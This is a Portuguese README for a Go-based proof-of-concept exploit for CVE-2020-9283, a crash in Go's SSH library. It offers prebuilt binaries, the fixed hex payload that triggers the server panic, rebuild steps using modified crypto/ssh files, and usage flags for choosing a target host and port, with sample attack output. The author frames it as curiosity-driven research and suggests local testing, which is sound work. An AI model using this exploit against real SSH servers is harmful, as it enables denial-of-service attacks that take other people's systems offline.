
Exploit para CVE-2020-9283 baseado em Go
Este projeto é inspirado no PoC original encontrado aqui github.com/mark-adams/exploits/CVE-2020-9283. Eu estava curioso sobre como a biblioteca SSH do Go foi implementada, então decidi implementar o PoC usando Go.
Um pequeno artigo pode ser encontrado aqui https://dev.to/brompwnie/modifying-go-s-crypto-ssh-library-for-cve-2020-9283-26a7
Isso invoca um panic em um servidor SSH baseado em Go, o que pode levar a um DoS.
Eu liberei binários na seção Release, no entanto você pode recompilar os seus usando o código-fonte anexado.
Decidi modificar a biblioteca crypto do Go diretamente no meu sistema para entender como ela funciona; isso não é ideal e provavelmente não é a melhor maneira de fazer isso, mas funciona ;) Se você quiser recompilar usando módulos Go, substitua o conteúdo dos arquivos client_auth.go, handshake.go, transport.go da pasta Crypto/ssh no seu sistema local pelos arquivos ".bak" localizados aqui. Esses arquivos modificados contêm saída de depuração detalhada e um payload fixo de "0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161" que aciona o panic.
Você verá muita saída de depuração e "erros", isso é esperado. Se o seu alvo tiver entrado em panic, você deve ver erros associados a "bad key lengths". Se quiser testar isso localmente, use o código vulnerável que pode ser encontrado aqui github.com/mark-adams/exploits/CVE-2020-9283
# ./CVE-2020-9283 -h
Usage of ./CVE-2020-9283:
-host string
IP address of SSH host to target (default "localhost")
-key string
ssh-ed25519 private key to use (default "thekey")
-port string
Port to target (default "22")
# ./CVE-2020-9283 -port=2022
./CVE-2020-9283 -port=2022
+] Sploit for CVE-2020-9283
[+] Attempting to pwn: localhost:2022
[!] Attempting: cMSG_USERAUTH_REQUEST
[+] userAuthRequestMsg User: notme
[+] userAuthRequestMsg Service: ssh-connection
[ERROR] ssh: handshake failed: EOF
[+] This should have invoked a panic on the SSH target i.e 'panic: ed25519: bad public key length'